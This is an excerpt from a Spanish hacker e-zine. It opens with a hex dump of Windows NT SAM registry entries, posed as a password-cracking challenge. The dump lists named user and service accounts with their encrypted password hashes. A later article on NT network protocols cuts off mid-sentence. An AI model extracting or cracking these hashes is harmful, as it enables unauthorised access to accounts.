  00,00,00,00,00,00,00,00,00,00,18,01,00,00,00,00,00,00,00,00,00,00,18,01,00,\
  00,00,00,00,00,00,00,00,00,18,01,00,00,15,00,00,00,a8,00,00,00,30,01,00,00,\
  08,00,00,00,01,00,00,00,38,01,00,00,10,00,00,00,00,00,00,00,48,01,00,00,10,\
  00,00,00,00,00,00,00,58,01,00,00,20,00,00,00,00,00,00,00,78,01,00,00,20,00,\
  00,00,00,00,00,00,01,00,14,80,7c,00,00,00,8c,00,00,00,14,00,00,00,30,00,00,\
  00,02,00,1c,00,01,00,00,00,02,c0,14,00,44,00,05,01,01,01,00,00,00,00,00,01,\
  00,00,00,00,02,00,4c,00,03,00,00,00,00,00,14,00,1b,03,02,00,01,01,00,00,00,\
  00,00,01,00,00,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,\
  00,00,20,02,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,\
  00,24,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,01,02,00,00,\
  00,00,00,05,20,00,00,00,20,02,00,00,47,00,75,00,65,00,73,00,74,00,00,00,42,\
  00,75,00,69,00,6c,00,74,00,2d,00,69,00,6e,00,20,00,61,00,63,00,63,00,6f,00,\
  75,00,6e,00,74,00,20,00,66,00,6f,00,72,00,20,00,67,00,75,00,65,00,73,00,74,\
  00,20,00,61,00,63,00,63,00,65,00,73,00,73,00,20,00,74,00,6f,00,20,00,74,00,\
  68,00,65,00,20,00,63,00,6f,00,6d,00,70,00,75,00,74,00,65,00,72,00,2f,00,64,\
  00,6f,00,6d,00,61,00,69,00,6e,00,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,\
  ff,ff,ff,ff,ff,ff,ff,00,00,00,01,02,00,00,07,00,00,00,a1,29,8f,aa,82,4b,c1,\
  20,12,c2,f0,e9,2c,84,64,f2,09,58,24,c5,54,24,42,f9,ca,c4,72,48,0a,2a,67,1c,\
  09,58,24,c5,54,24,42,f9,ca,c4,72,48,0a,2a,67,1c,07,84,fc,8b,be,37,57,75,e1,\
  8b,91,4d,07,ae,27,d3,a1,29,8f,aa,82,4b,c1,20,12,c2,f0,e9,2c,84,64,f2,04,31,\
  d6,2b,10,1e,da,0a,7c,11,9c,a0,50,e5,66,4f

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users{jumi [*3] [http://www.govannom.org/e-zines/electron/electron01.txt]}0003E9]
"F"=hex:02,00,01,00,00,00,00,00,00,b3,a6,1c,4c,4c,bd,01,b0,8d,86,75,e3,04,bd,\
  01,80,50,92,f8,0c,03,bc,01,00,00,00,00,00,00,00,00,00,c8,f9,8b,44,4c,bd,01,\
  e9,03,00,00,01,02,00,00,10,02,00,00,00,00,00,00,00,00,c7,01,01,00,00,00,00,\
  00,15,00,ac,fc,ae,01
"V"=hex:00,00,00,00,a8,00,00,00,02,00,01,00,a8,00,00,00,0c,00,00,00,00,00,00,\
  00,b4,00,00,00,16,00,00,00,00,00,00,00,cc,00,00,00,00,00,00,00,00,00,00,00,\
  cc,00,00,00,00,00,00,00,00,00,00,00,cc,00,00,00,60,00,00,00,00,00,00,00,2c,\
  01,00,00,00,00,00,00,00,00,00,00,2c,01,00,00,00,00,00,00,00,00,00,00,2c,01,\
  00,00,00,00,00,00,00,00,00,00,2c,01,00,00,00,00,00,00,00,00,00,00,2c,01,00,\
  00,00,00,00,00,00,00,00,00,2c,01,00,00,15,00,00,00,a8,00,00,00,44,01,00,00,\
  08,00,00,00,01,00,00,00,4c,01,00,00,10,00,00,00,00,00,00,00,5c,01,00,00,10,\
  00,00,00,00,00,00,00,6c,01,00,00,00,00,00,00,00,00,00,00,6c,01,00,00,00,00,\
  00,00,00,00,00,00,01,00,14,80,88,00,00,00,98,00,00,00,14,00,00,00,30,00,00,\
  00,02,00,1c,00,01,00,00,00,02,c0,14,00,44,00,07,01,01,01,00,00,00,00,00,01,\
  00,00,00,00,02,00,58,00,03,00,00,00,00,00,24,00,44,00,02,00,01,05,00,00,00,\
  00,00,05,15,00,00,00,df,55,89,47,6a,40,2a,7f,72,0a,14,71,e9,03,00,00,00,00,\
  18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,00,00,14,\
  00,5b,03,02,00,01,01,00,00,00,00,00,01,00,00,00,00,01,02,00,00,00,00,00,05,\
  20,00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,6b,\
  00,6b,00,75,00,65,00,68,00,6c,00,4b,00,69,00,72,00,62,00,79,00,20,00,4b,00,\
  75,00,65,00,68,00,6c,00,00,00,6d,00,3a,00,20,00,20,00,20,00,20,00,20,00,20,\
  00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,\
  20,00,20,00,64,00,09,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,\
  00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,\
  20,00,20,00,20,00,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,\
  ff,ff,00,00,00,01,02,00,00,07,00,00,00,a3,43,09,84,5d,05,6e,4a,89,d7,ff,c7,\
  bd,68,66,e7,c0,07,eb,b1,63,25,ca,8c,91,f0,b3,1c,7b,89,63,c3

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users{jumi [*3] [http://www.govannom.org/e-zines/electron/electron01.txt]}0003EC]
"F"=hex:02,00,01,00,00,00,00,00,30,a5,9e,63,05,57,bc,01,00,00,00,00,00,00,00,\
  00,70,54,65,4e,09,57,bc,01,00,00,00,00,00,00,00,00,70,68,41,91,1e,f1,bc,01,\
  ec,03,00,00,01,02,00,00,10,02,00,00,00,00,00,00,07,00,00,00,00,00,00,00,00,\
  00,15,00,ac,fc,8e,02
"V"=hex:00,00,00,00,c0,00,00,00,02,00,01,00,c0,00,00,00,10,00,00,00,00,00,00,\
  00,d0,00,00,00,1e,00,00,00,00,00,00,00,f0,00,00,00,00,00,00,00,00,00,00,00,\
  f0,00,00,00,00,00,00,00,00,00,00,00,f0,00,00,00,60,00,00,00,00,00,00,00,50,\
  01,00,00,00,00,00,00,00,00,00,00,50,01,00,00,00,00,00,00,00,00,00,00,50,01,\
  00,00,00,00,00,00,00,00,00,00,50,01,00,00,00,00,00,00,00,00,00,00,50,01,00,\
  00,00,00,00,00,00,00,00,00,50,01,00,00,15,00,00,00,a8,00,00,00,68,01,00,00,\
  08,00,00,00,01,00,00,00,70,01,00,00,10,00,00,00,00,00,00,00,80,01,00,00,10,\
  00,00,00,00,00,00,00,90,01,00,00,20,00,00,00,00,00,00,00,b0,01,00,00,20,00,\
  00,00,00,00,00,00,01,00,14,80,a0,00,00,00,b0,00,00,00,14,00,00,00,30,00,00,\
  00,02,00,1c,00,01,00,00,00,02,c0,14,00,44,00,07,01,01,01,00,00,00,00,00,01,\
  00,00,00,00,02,00,70,00,04,00,00,00,00,00,14,00,5b,03,02,00,01,01,00,00,00,\
  00,00,01,00,00,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,\
  00,00,20,02,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,\
  00,24,02,00,00,00,00,24,00,44,00,02,00,01,05,00,00,00,00,00,05,15,00,00,00,\
  df,55,89,47,6a,40,2a,7f,72,0a,14,71,ec,03,00,00,01,02,00,00,00,00,00,05,20,\
  00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,73,00,\
  6b,00,69,00,6c,00,67,00,6f,00,72,00,65,00,53,00,70,00,65,00,6e,00,63,00,65,\
  00,72,00,20,00,4b,00,69,00,6c,00,67,00,6f,00,72,00,65,00,00,00,6d,00,3a,00,\
  20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,\
  00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,64,00,01,00,20,00,20,00,20,00,\
  20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,\
  00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,20,00,ff,ff,ff,ff,ff,ff,ff,ff,\
  ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,00,00,00,01,02,00,00,07,00,00,00,e5,\
  7a,70,95,04,1d,eb,fa,97,c1,e7,a2,79,5f,a5,69,6c,82,d3,cc,10,92,e0,14,ef,d3,\
  f6,cb,e1,a7,a2,86,6c,82,d3,cc,10,92,e0,14,ef,d3,f6,cb,e1,a7,a2,86,61,22,9c,\
  1d,9e,a8,32,fb,8f,06,7b,fb,7a,9c,1b,e2,e5,7a,70,95,04,1d,eb,fa,97,c1,e7,a2,\
  79,5f,a5,69,56,97,1b,df,48,59,7e,39,97,c1,e7,a2,79,5f,a5,69

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users{jumi [*3] [http://www.govannom.org/e-zines/electron/electron01.txt]}0003F4]
"F"=hex:02,00,01,00,00,00,00,00,50,74,ef,a9,8b,a9,bc,01,00,00,00,00,00,00,00,\
  00,90,13,8d,c7,a9,1a,bc,01,00,00,00,00,00,00,00,00,40,4b,b9,97,8b,a9,bc,01,\
  f4,03,00,00,01,02,00,00,10,02,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,00,00,ac,fc,0e,03
"V"=hex:00,00,00,00,c0,00,00,00,02,00,01,00,c0,00,00,00,0c,00,00,00,00,00,00,\
  00,cc,00,00,00,24,00,00,00,00,00,00,00,f0,00,00,00,00,00,00,00,00,00,00,00,\
  f0,00,00,00,00,00,00,00,00,00,00,00,f0,00,00,00,00,00,00,00,00,00,00,00,f0,\
  00,00,00,00,00,00,00,00,00,00,00,f0,00,00,00,00,00,00,00,00,00,00,00,f0,00,\
  00,00,00,00,00,00,00,00,00,00,f0,00,00,00,00,00,00,00,00,00,00,00,f0,00,00,\
  00,00,00,00,00,00,00,00,00,f0,00,00,00,15,00,00,00,a8,00,00,00,08,01,00,00,\
  08,00,00,00,01,00,00,00,10,01,00,00,10,00,00,00,00,00,00,00,20,01,00,00,10,\
  00,00,00,00,00,00,00,30,01,00,00,10,00,00,00,00,00,00,00,40,01,00,00,10,00,\
  00,00,00,00,00,00,01,00,14,80,a0,00,00,00,b0,00,00,00,14,00,00,00,30,00,00,\
  00,02,00,1c,00,01,00,00,00,02,c0,14,00,44,00,07,01,01,01,00,00,00,00,00,01,\
  00,00,00,00,02,00,70,00,04,00,00,00,00,00,14,00,1b,03,02,00,01,01,00,00,00,\
  00,00,01,00,00,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,\
  00,00,20,02,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,\
  00,24,02,00,00,00,00,24,00,04,00,02,00,01,05,00,00,00,00,00,05,15,00,00,00,\
  df,55,89,47,6a,40,2a,7f,72,0a,14,71,f4,03,00,00,01,02,00,00,00,00,00,05,20,\
  00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,6c,00,\
  65,00,76,00,65,00,6c,00,31,00,44,00,61,00,74,00,61,00,73,00,65,00,72,00,76,\
  00,20,00,4c,00,65,00,76,00,65,00,6c,00,20,00,4f,00,6e,00,65,00,ff,ff,ff,ff,\
  ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,00,00,00,01,02,00,00,07,\
  00,00,00,d2,b2,9d,59,5c,d6,ea,d5,ff,0a,81,be,0a,f3,c6,0e,5d,76,2a,64,d4,a9,\
  df,0f,69,20,4c,9c,51,d9,bb,04,5d,76,2a,64,d4,a9,df,0f,69,20,4c,9c,51,d9,bb,\
  04,d2,b2,9d,59,5c,d6,ea,d5,ff,0a,81,be,0a,f3,c6,0e

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users{jumi [*3] [http://www.govannom.org/e-zines/electron/electron01.txt]}0003F9]
"F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,a0,51,9b,b6,10,5b,bc,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  f9,03,00,00,01,02,00,00,10,02,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,00,00,ac,fc,ce,02
"V"=hex:00,00,00,00,c0,00,00,00,02,00,01,00,c0,00,00,00,0c,00,00,00,00,00,00,\
  00,cc,00,00,00,00,00,00,00,00,00,00,00,cc,00,00,00,00,00,00,00,00,00,00,00,\
  cc,00,00,00,00,00,00,00,00,00,00,00,cc,00,00,00,00,00,00,00,00,00,00,00,cc,\
  00,00,00,00,00,00,00,00,00,00,00,cc,00,00,00,00,00,00,00,00,00,00,00,cc,00,\
  00,00,00,00,00,00,00,00,00,00,cc,00,00,00,00,00,00,00,00,00,00,00,cc,00,00,\
  00,00,00,00,00,00,00,00,00,cc,00,00,00,15,00,00,00,a8,00,00,00,e4,00,00,00,\
  08,00,00,00,01,00,00,00,ec,00,00,00,10,00,00,00,00,00,00,00,fc,00,00,00,10,\
  00,00,00,00,00,00,00,0c,01,00,00,10,00,00,00,00,00,00,00,1c,01,00,00,10,00,\
  00,00,00,00,00,00,01,00,14,80,a0,00,00,00,b0,00,00,00,14,00,00,00,30,00,00,\
  00,02,00,1c,00,01,00,00,00,02,c0,14,00,44,00,07,01,01,01,00,00,00,00,00,01,\
  00,00,00,00,02,00,70,00,04,00,00,00,00,00,14,00,1b,03,02,00,01,01,00,00,00,\
  00,00,01,00,00,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,\
  00,00,20,02,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,\
  00,24,02,00,00,00,00,24,00,04,00,02,00,01,05,00,00,00,00,00,05,15,00,00,00,\
  df,55,89,47,6a,40,2a,7f,72,0a,14,71,f9,03,00,00,01,02,00,00,00,00,00,05,20,\
  00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,68,00,\
  61,00,63,00,6b,00,65,00,72,00,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,\
  ff,ff,ff,ff,ff,ff,00,00,00,01,02,00,00,07,00,00,00,c3,c8,b2,12,38,15,1b,9c,\
  91,ce,cd,97,89,93,e3,e3,d7,e5,bb,ff,ff,7d,21,7a,b9,fa,c6,f5,3a,04,7e,45,d7,\
  e5,bb,ff,ff,7d,21,7a,b9,fa,c6,f5,3a,04,7e,45,c3,c8,b2,12,38,15,1b,9c,91,ce,\
  cd,97,89,93,e3,e3

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users{jumi [*3] [http://www.govannom.org/e-zines/electron/electron01.txt]}0003FB]
"F"=hex:02,00,01,00,00,00,00,00,00,c4,e0,67,83,ca,bc,01,c0,8d,8d,1d,86,ca,bc,\
  01,b0,62,ba,cd,ec,a8,bc,01,00,00,00,00,00,00,00,00,b0,38,1d,a9,fb,03,bd,01,\
  fb,03,00,00,01,02,00,00,10,02,00,00,00,00,00,00,02,00,00,00,00,00,00,00,00,\
  00,f7,74,28,fd,df,01
"V"=hex:00,00,00,00,c0,00,00,00,02,00,01,00,c0,00,00,00,12,00,00,00,00,00,00,\
  00,d4,00,00,00,2c,00,00,00,00,00,00,00,00,01,00,00,40,00,00,00,00,00,00,00,\
  40,01,00,00,40,00,00,00,00,00,00,00,80,01,00,00,00,00,00,00,00,00,00,00,80,\
  01,00,00,00,00,00,00,00,00,00,00,80,01,00,00,00,00,00,00,00,00,00,00,80,01,\
  00,00,00,00,00,00,00,00,00,00,80,01,00,00,00,00,00,00,00,00,00,00,80,01,00,\
  00,00,00,00,00,00,00,00,00,80,01,00,00,15,00,00,00,a8,00,00,00,98,01,00,00,\
  08,00,00,00,01,00,00,00,a0,01,00,00,10,00,00,00,00,00,00,00,b0,01,00,00,10,\
  00,00,00,00,00,00,00,c0,01,00,00,20,00,00,00,00,00,00,00,e0,01,00,00,20,00,\
  00,00,00,00,00,00,01,00,14,80,a0,00,00,00,b0,00,00,00,14,00,00,00,30,00,00,\
  00,02,00,1c,00,01,00,00,00,02,c0,14,00,44,00,07,01,01,01,00,00,00,00,00,01,\
  00,00,00,00,02,00,70,00,04,00,00,00,00,00,14,00,1b,03,02,00,01,01,00,00,00,\
  00,00,01,00,00,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,\
  00,00,20,02,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,\
  00,24,02,00,00,00,00,24,00,04,00,02,00,01,05,00,00,00,00,00,05,15,00,00,00,\
  df,55,89,47,6a,40,2a,7f,72,0a,14,71,fb,03,00,00,01,02,00,00,00,00,00,05,20,\
  00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,49,00,\
  55,00,53,00,52,00,5f,00,57,00,41,00,4e,00,47,00,00,00,49,00,6e,00,74,00,65,\
  00,72,00,6e,00,65,00,74,00,20,00,47,00,75,00,65,00,73,00,74,00,20,00,41,00,\
  63,00,63,00,6f,00,75,00,6e,00,74,00,49,00,6e,00,74,00,65,00,72,00,6e,00,65,\
  00,74,00,20,00,53,00,65,00,72,00,76,00,65,00,72,00,20,00,41,00,6e,00,6f,00,\
  6e,00,79,00,6d,00,6f,00,75,00,73,00,20,00,41,00,63,00,63,00,65,00,73,00,73,\
  00,49,00,6e,00,74,00,65,00,72,00,6e,00,65,00,74,00,20,00,53,00,65,00,72,00,\
  76,00,65,00,72,00,20,00,41,00,6e,00,6f,00,6e,00,79,00,6d,00,6f,00,75,00,73,\
  00,20,00,41,00,63,00,63,00,65,00,73,00,73,00,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,\
  ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,00,00,00,01,02,00,00,07,00,00,00,d0,64,34,\
  c1,d4,d3,78,4a,8a,5b,2a,de,e3,84,25,70,59,02,ec,13,d4,8a,2a,1c,57,45,5b,2d,\
  06,ac,a3,b0,59,02,ec,13,d4,8a,2a,1c,57,45,5b,2d,06,ac,a3,b0,42,25,a0,99,80,\
  bf,9b,01,d6,fd,81,9b,f2,4c,8d,cb,d0,64,34,c1,d4,d3,78,4a,8a,5b,2a,de,e3,84,\
  25,70,a0,e9,01,3d,ee,1d,ec,38,68,91,85,14,ee,7c,fe,ec

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users{jumi [*3] [http://www.govannom.org/e-zines/electron/electron01.txt]}0003FF]
"F"=hex:02,00,01,00,00,00,00,00,d0,c4,21,22,bc,b3,bc,01,00,00,00,00,00,00,00,\
  00,d0,f7,e3,0f,bc,b3,bc,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  ff,03,00,00,01,02,00,00,10,00,00,00,00,00,00,00,00,00,01,00,00,00,00,00,00,\
  00,f7,74,28,fd,ee,01
"V"=hex:00,00,00,00,c0,00,00,00,02,00,01,00,c0,00,00,00,0e,00,00,00,00,00,00,\
  00,d0,00,00,00,18,00,00,00,00,00,00,00,e8,00,00,00,00,00,00,00,00,00,00,00,\
  e8,00,00,00,00,00,00,00,00,00,00,00,e8,00,00,00,00,00,00,00,00,00,00,00,e8,\
  00,00,00,00,00,00,00,00,00,00,00,e8,00,00,00,00,00,00,00,00,00,00,00,e8,00,\
  00,00,00,00,00,00,00,00,00,00,e8,00,00,00,00,00,00,00,00,00,00,00,e8,00,00,\
  00,00,00,00,00,00,00,00,00,e8,00,00,00,15,00,00,00,a8,00,00,00,00,01,00,00,\
  08,00,00,00,01,00,00,00,08,01,00,00,10,00,00,00,00,00,00,00,18,01,00,00,10,\
  00,00,00,00,00,00,00,28,01,00,00,20,00,00,00,00,00,00,00,48,01,00,00,20,00,\
  00,00,00,00,00,00,01,00,14,80,a0,00,00,00,b0,00,00,00,14,00,00,00,30,00,00,\
  00,02,00,1c,00,01,00,00,00,02,c0,14,00,44,00,07,01,01,01,00,00,00,00,00,01,\
  00,00,00,00,02,00,70,00,04,00,00,00,00,00,14,00,5b,03,02,00,01,01,00,00,00,\
  00,00,01,00,00,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,\
  00,00,20,02,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,\
  00,24,02,00,00,00,00,24,00,44,00,02,00,01,05,00,00,00,00,00,05,15,00,00,00,\
  df,55,89,47,6a,40,2a,7f,72,0a,14,71,ff,03,00,00,01,02,00,00,00,00,00,05,20,\
  00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,6b,00,\
  6b,00,65,00,6d,00,62,00,6c,00,65,00,00,00,4b,00,65,00,76,00,69,00,6e,00,20,\
  00,4b,00,65,00,6d,00,62,00,6c,00,65,00,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,\
  ff,ff,ff,ff,ff,ff,ff,ff,ff,00,00,00,01,02,00,00,07,00,00,00,b8,aa,30,92,6c,\
  39,51,96,83,0f,d1,11,3c,1c,b6,82,45,18,41,0a,43,92,fe,2b,81,58,3f,f0,b1,f8,\
  8a,1f,45,18,41,0a,43,92,fe,2b,81,58,3f,f0,b1,f8,8a,1f,0e,7e,16,df,9a,9b,98,\
  80,f9,00,c6,a6,c2,90,bf,e4,b8,aa,30,92,6c,39,51,96,83,0f,d1,11,3c,1c,b6,82,\
  90,2c,c0,d5,b6,c2,5d,51,11,a0,da,47,0d,a3,ae,b7

[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users{jumi [*3] [http://www.govannom.org/e-zines/electron/electron01.txt]}000401]
"F"=hex:02,00,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,50,b2,30,02,a4,09,bd,01,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  01,04,00,00,01,02,00,00,10,02,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
  00,f7,74,28,fd,a2,02
"V"=hex:00,00,00,00,c0,00,00,00,02,00,01,00,c0,00,00,00,16,00,00,00,00,00,00,\
  00,d8,00,00,00,3e,00,00,00,00,00,00,00,18,01,00,00,60,00,00,00,00,00,00,00,\
  78,01,00,00,60,00,00,00,00,00,00,00,d8,01,00,00,00,00,00,00,00,00,00,00,d8,\
  01,00,00,00,00,00,00,00,00,00,00,d8,01,00,00,00,00,00,00,00,00,00,00,d8,01,\
  00,00,00,00,00,00,00,00,00,00,d8,01,00,00,00,00,00,00,00,00,00,00,d8,01,00,\
  00,00,00,00,00,00,00,00,00,d8,01,00,00,15,00,00,00,a8,00,00,00,f0,01,00,00,\
  08,00,00,00,01,00,00,00,f8,01,00,00,10,00,00,00,00,00,00,00,08,02,00,00,10,\
  00,00,00,00,00,00,00,18,02,00,00,10,00,00,00,00,00,00,00,28,02,00,00,10,00,\
  00,00,00,00,00,00,01,00,14,80,a0,00,00,00,b0,00,00,00,14,00,00,00,30,00,00,\
  00,02,00,1c,00,01,00,00,00,02,c0,14,00,44,00,07,01,01,01,00,00,00,00,00,01,\
  00,00,00,00,02,00,70,00,04,00,00,00,00,00,14,00,1b,03,02,00,01,01,00,00,00,\
  00,00,01,00,00,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,\
  00,00,20,02,00,00,00,00,18,00,ff,07,0f,00,01,02,00,00,00,00,00,05,20,00,00,\
  00,24,02,00,00,00,00,24,00,04,00,02,00,01,05,00,00,00,00,00,05,15,00,00,00,\
  df,55,89,47,6a,40,2a,7f,72,0a,14,71,01,04,00,00,01,02,00,00,00,00,00,05,20,\
  00,00,00,20,02,00,00,01,02,00,00,00,00,00,05,20,00,00,00,20,02,00,00,49,00,\
  57,00,41,00,4d,00,5f,00,4b,00,4b,00,55,00,45,00,48,00,4c,00,00,00,57,00,65,\
  00,62,00,20,00,41,00,70,00,70,00,6c,00,69,00,63,00,61,00,74,00,69,00,6f,00,\
  6e,00,20,00,4d,00,61,00,6e,00,61,00,67,00,65,00,72,00,20,00,61,00,63,00,63,\
  00,6f,00,75,00,6e,00,74,00,00,00,49,00,6e,00,74,00,65,00,72,00,6e,00,65,00,\
  74,00,20,00,53,00,65,00,72,00,76,00,65,00,72,00,20,00,57,00,65,00,62,00,20,\
  00,41,00,70,00,70,00,6c,00,69,00,63,00,61,00,74,00,69,00,6f,00,6e,00,20,00,\
  4d,00,61,00,6e,00,61,00,67,00,65,00,72,00,20,00,69,00,64,00,65,00,6e,00,74,\
  00,69,00,74,00,79,00,49,00,6e,00,74,00,65,00,72,00,6e,00,65,00,74,00,20,00,\
  53,00,65,00,72,00,76,00,65,00,72,00,20,00,57,00,65,00,62,00,20,00,41,00,70,\
  00,70,00,6c,00,69,00,63,00,61,00,74,00,69,00,6f,00,6e,00,20,00,4d,00,61,00,\
  6e,00,61,00,67,00,65,00,72,00,20,00,69,00,64,00,65,00,6e,00,74,00,69,00,74,\
  00,79,00,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,ff,00,\
  00,00,01,02,00,00,07,00,00,00,a1,25,e5,85,bd,23,57,c1,39,c6,aa,f1,81,dd,38,\
  08,c4,99,d4,c4,b9,96,60,14,42,16,d3,9e,da,14,ae,de,c4,99,d4,c4,b9,96,60,14,\
  42,16,d3,9e,da,14,ae,de,a1,25,e5,85,bd,23,57,c1,39,c6,aa,f1,81,dd,38,08

______________________________________________________Challenge_NT, regedit32.exe


Hasta aki estara bien para esta primera parte del desafio, en la proxima edicion
publicare la segunda parte y final del " Challenge_NT, regedit32.exe " bye!



Autor     : EleKtr0
Titulo    : Challenge_NT "regedit32.exe"
Entrega # : I
Respuestas: 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 



�,���`�����,���`���,�,���`�����,���`�����,���`���,�,���`�����,���`�����,���``����







,���``����
    08
`���,�,���

Autor     : EleKtr0
Titulo    : Cape, nane, ene, tu, sa-lis-tes- tu! 

Comentario: Lindo nombre!,bueno detras de este ridiculo nombre se esconde uno de
los temas mas importantes a la hora de montar una red, se trata  ni mas ni menos
que la eleccion del protocolo adecuado de red y los criterios a tomar en  cuenta
antes de hacer click! acertastes! el articulo esta basado en NT

Contenido : Algo a destacar del NT es su gran elasticidad por llamarle de alguna
manera, a la facilidad de interactuar con otros SO como serian: Novell,AppleTalk
UNIX, SNA y otros tantos,no presentando problema alguno para convivir con  ellos
pero a que es debido todo esto?? es debido a la gran cantidad de protocolos  que
el NT lleva incorporado

Creo que esta demas mencionar que si la red tendra en sus adentros algun Novell,
tendras que instalar el protocolo IPX/SPX, o que para un UNIX abria que  agregar
el TCP/IP, bueno los infaltables Macintosh donde usariamos AppleTalk

Bueno y como paradoja a lo anterior,donde mayor problemas se presenta a la ahora
de elegir un protocolo es cuando ahy sistemas unicamentes del Imperio o sea, una
mugre de red k tiene solo windows y sus variantes  (DOS,3.x,95,98,NT,2000)  pero
miren nada mas que! red...


Al instalar NT, por defecto se instalan el IPX/SPX y el NetBEUI llamados por  la
jerga como protocolos de serie, tonces veamos:


NetBEUI
=======

Protocolo utilizado por las antiguas redes basadas en Microsoft LAN Manager
Es muy rapido en peque�as redes que no lleguen a la decena de equipos y  que  no
muevan ficheros de gran tama�o
Recomdable que sea desistalado a la ahora de querer agregar mas de 10 estaciones
siempre y cuando no ayan equipos k solo usen LAN Manager 


IPX/SPX
=======

Protocolo, desarrolado por Novell, este ha demostrado sobradamente su  valia  en 
redes de area local, es rapido, facil de configurar y requiere pocas  atenciones 

El principal inconveniente que presenta para redes medianas y grandes es que  no 
se puede enrutar o sea que no puede pasar de una subred a otra  si  entre  ambas 
hay un router o switch , por lo k no puede usarse en redes WAN

Otro inconveniente que presenta en redes con un cierto numero de equipos es  que
puede llegar a saturar la red con los broadcast  que  lanzan  los  equipos  para
anunciarse en la red



TCP/IP
======

Idoolo! este protocolo aparte de ser mi favorito, es imresindible en una red que
desee conectarse a la Inet o se quiere implementar con una  Intranet,  todos  ya
sabemos las ventajas del TCP/IP y de las grandes facilidades para mover  grandes
cantidades de Informacion, bueno pero no todo lo que brilla es  oro,  pues  este
protocolo tiene sus inconvenientes como serian la  ficicultad  de  configuracion
por parte del usuario novato, ya que debe conocer datos imprecindibles como: IP,
mascara de red, ruta o sireccion del server,nombre del router o switch y su ruta
aunk esto es parchado al utilizar la configuracion dinamica de equipos (DHCP), k
biene incluido en el NT, otro inconveniente es el grado de mantencion  constante
por parte del admin, es un protocolo k no se puede descuidar por  mucho  tiempo,


[ NOTA:para los que no saben el DHCP asigna los datos en forma automatica a cada
equipo que se conecte a la red ]


Esto seria mas o menos lo que un admin tendria k revisar constantemente:
 
- asignacion de direcciones IP a los nuevos equipos
- mantenimiento de la tabla de nombres en el servidor de nombres si este existe o
  mejor aun, en cada equipo si no existe 
- Vigilar que no hayan direcciones duplicadas

por decir algo...


Y otra ves lo mismo,si combinamos la potencia del DHCP con el servicio de nombres
para Windows (WINS) y el reciente servicio de nombres de dominio (DNS) la cosa se
hace mas facil para el admin, pero yo no soy partidario de este sistema ya que al
ir automatisando estos procesos se pierde gran parte de conociminetos  a adquirir
por parte del admin, ademas ahy que estar loco  para  confiarle  todo!,  al  puto 
imperio

Bueno y ni hablar de falta de seguridad k supone TCP/IP en un Win, este protocolo
